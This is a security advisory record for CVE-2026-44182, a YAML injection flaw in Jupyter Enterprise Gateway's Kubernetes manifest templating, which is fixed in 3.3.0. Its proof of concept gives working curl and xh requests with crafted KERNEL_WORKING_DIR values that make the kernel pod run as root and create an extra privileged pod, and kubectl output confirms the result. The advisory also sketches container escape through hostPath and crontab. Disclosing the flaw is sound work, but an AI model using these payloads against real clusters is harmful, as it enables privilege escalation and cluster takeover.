CVE-2026-44182: Jupyter Enterprise Gateway Kubernetes Manifest Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cfw7-6c5v-2wjq",
  "modified" : "2026-06-03T21:37:16Z",
  "published" : "2026-06-03T21:37:16Z",
  "aliases" : [ "CVE-2026-44182" ],
  "summary" : "Jupyter Enterprise Gateway: Kubernetes Manifest Injection in Jinja2 Template Rendering",
  "details" : "### Summary\n\nThe environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like `securityContext` and inject multi-document YAML to create additional unintended Kubernetes resources.\n\n### Details\n\nThe server interpolates untrusted environment variables (e.g., `KERNEL_XXX`) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate `securityContext` keys, where the last one prevails), and inject document boundaries (`---` for new documents, `...` for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.\n\nThe Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for YAML injection.\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77\n\nThese values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase.\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137\n\n### PoC\n\nThese proof of concepts are injecting in the `KERNEL_WORKING_DIR` env var, but any of the env vars could have been used.\nBy default, the `KERNEL_WORKING_DIR` will be ignored unless `EG_MIRROR_WORKING_DIRS` is truthy for the `enterprise-gateway`. This is controlled by the `mirrorWorkingDirs` value in the Helm chart.\n\nUsing `ducaale/xh`:\n\n```bash\nxh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml\n```\n\n`env-working-dir-exploit.yaml`:\n\n```json\n{\n  \"KERNEL_POD_NAME\": \"working-dir-root\",\n  \"KERNEL_NAMESPACE\": \"notebooks\",\n  \"KERNEL_WORKING_DIR\": \"\\\"/tmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n  securityContext:\\\\n    runAsUser: 0\\\\n    runAsGroup: 0\\\\n    fsGroup: 100\\\\n# HAHA - stray quote \\\"\"\n}\n\n```\n\nResulting request:\n\n```\nPOST /api/kernels HTTP/1.1\nAccept: application/json, */*;q=0.5\nAccept-Encoding: gzip, deflate, br, zstd\nConnection: keep-alive\nContent-Length: 233\nContent-Type: application/json\nHost: localhost:31529\nUser-Agent: xh/0.24.0\n\n{\n    \"env\": {\n        \"KERNEL_POD_NAME\": \"working-dir-root\",\n        \"KERNEL_NAMESPACE\": \"notebooks\",\n        \"KERNEL_WORKING_DIR\": \"\\\"/tmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n  securityContext:\\\\n    runAsUser: 0\\\\n    runAsGroup: 0\\\\n    fsGroup: 100\\\\n# HAHA - stray quote \\\"\"\n    }\n}\n```\n\nCurl equivalent command:\n\n```bash\ncurl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{\"env\":{\"KERNEL_POD_NAME\":\"working-dir-root\",\"KERNEL_NAMESPACE\":\"notebooks\",\"KERNEL_WORKING_DIR\":\"\\\"/tmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n  securityContext:\\\\n    runAsUser: 0\\\\n    runAsGroup: 0\\\\n    fsGroup: 100\\\\n# HAHA - stray quote \\\"\"}}'\n```\n\nThe rendered Jinja2 template:\n\n```yaml\n# This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes.\n# Substitution parameters are processed by the launch_kubernetes.py code located in the\n# same directory.  Some values are factory values, while others (typically prefixed with 'kernel_') can be\n# provided by the client.\n#\n# This file can be customized as needed.  No changes are required to launch_kubernetes.py provided kernel_\n# values are used - which be automatically set from corresponding KERNEL_ env values.  Updates will be required\n# to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced.\n#\napiVersion: v1\nkind: Pod\nmetadata:\n  name: \"working-dir-root\"\n  namespace: \"notebooks\"\n  labels:\n    kernel_id: \"186f4ecf-bf90-40b8-b210-a0987bfce927\"\n    app: enterprise-gateway\n    component: kernel\n    source: kernel-pod.yaml\n  annotations:\n    cluster-autoscaler.kubernetes.io/safe-to-evict: \"false\"\nspec:\n  restartPolicy: Never\n  serviceAccountName: \"default\"\n# NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled.\n# WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate\n# will result in the new kernel pod's effective group of 0 (root)! although the user will\n# correspond to the runAsUser value.  As a result, BOTH should be uncommented AND the feature-gate\n# should be enabled to ensure expected behavior.  In addition, 'fsGroup: 100' is recommended so\n# that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the\n# \"kernel_uid\" and \"kernel_gid\" values.\n  securityContext:\n    runAsUser: 1000\n    runAsGroup: 100\n    fsGroup: 100\n  containers:\n  - image: \"elyra/kernel-py:3.2.3\"\n    name: \"working-dir-root\"\n    env:\n# Add any custom envs here that aren't already configured for the kernel's environment\n#    - name: MY_CUSTOM_ENV\n#      value: \"my_custom_value\"\n    workingDir: \"/tmp\"\n\n# INJECTION\n  securityContext:\n    runAsUser: 0\n    runAsGroup: 0\n    fsGroup: 100\n# HAHA - stray quote \"\n    volumeMounts:\n# Define any \"unconditional\" mounts here, followed by \"conditional\" mounts that vary per client\n  volumes:\n# Define any \"unconditional\" volumes here, followed by \"conditional\" volumes that vary per client\n```\n\nNormally the container would run as `uid=1000(jovyan) gid=100(users) groups=100(users)`.\nThis injects a pod `securityContext` with `runAsUser: 0` and `runAsGroup: 0` (and `fsGroup: 100`).\nThe processing of the YAML results in the duplicate key clobbering the original.\nMaking the container run as `uid=0(root) gid=0(root) groups=0(root),100(users)`.\n\nIn addition to injecting a pod level `securityContext` it is also possible to inject a container level `securityContext` which supports the `privileged` field.\n\n\n#### Injecting a Pod\n\nBy injecting `...` and `---` it is possible to use multi-document YAML to inject Kubernetes resources.\n\n```bash\nxh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml\n```\n\n`env-working-dir-exploit-pod.yaml`:\n\n```json\n{\n  \"KERNEL_POD_NAME\": \"working-dir-root-pod\",\n  \"KERNEL_NAMESPACE\": \"notebooks\",\n  \"KERNEL_WORKING_DIR\": \"\\\"/tmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n...\\\\n---\\\\napiVersion: v1\\\\nkind: Pod\\\\nmetadata:\\\\n  name: injected-pod\\\\n\\\\\\n  spec:\\\\n  containers:\\\\n    - name: injected-container\\\\n      image: nginx\\\\n      ports:\\\\n        - containerPort: 80\\\\n      securityContext:\\\\n        privileged: true\\\\n        runAsUser: 0\\\\n        runAsGroup: 0\\\\n...\\\\n# HAHA - stray quote\\\"\"\n}\n```\n\nThis is rendered as (skipping the beginning of the rendering before the inject):\n\n```yaml\n    workingDir: \"/tmp\"\n\n# INJECTION\n...\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: injected-pod\nspec:\n  containers:\n    - name: injected-container\n      image: nginx\n      ports:\n        - containerPort: 80\n      securityContext:\n        privileged: true\n        runAsUser: 0\n        runAsGroup: 0\n...\n# HAHA - stray quote\"\n    volumeMounts:\n# Define any \"unconditional\" mounts here, followed by \"conditional\" mounts that vary per client\n  volumes:\n# Define any \"unconditional\" volumes here, followed by \"conditional\" volumes that vary per client\n```\n\n`kubectl get pods -n notebooks`\n```\nNAME                   READY   STATUS    RESTARTS   AGE\ninjected-pod           1/1     Running   0          4s\nworking-dir-root-pod   1/1     Running   0          4s\n```\n\nThe `injected-pod` has been created in addition to the `working-dir-root-pod`.\n\n`kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}'`:\n\n```json\n{\n  \"privileged\": true,\n  \"runAsGroup\": 0,\n  \"runAsUser\": 0\n}\n```\n\n### Impact\n\nAn attacker can create pods running with arbitrary, `image`, `securityContext`, and `volumeMounts` including `hostPath` mounts. Privileged pods can be created.\n\nArbitrary Kubernetes resources of kinds: `Pod`, `Secret`, `PersistentVolumeClaim`, `PersistentVolume`, `Service`, and `ConfigMap` can be created.\n\nRepeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a `hostPath` R/W volume mount, use the injected `securityContext` to run as `root`, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "jupyter_enterprise_gateway"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-cfw7-6c5v-2wjq"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jupyter-server/enterprise_gateway"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-03T21:37:16Z",
    "nvd_published_at" : null
  }
}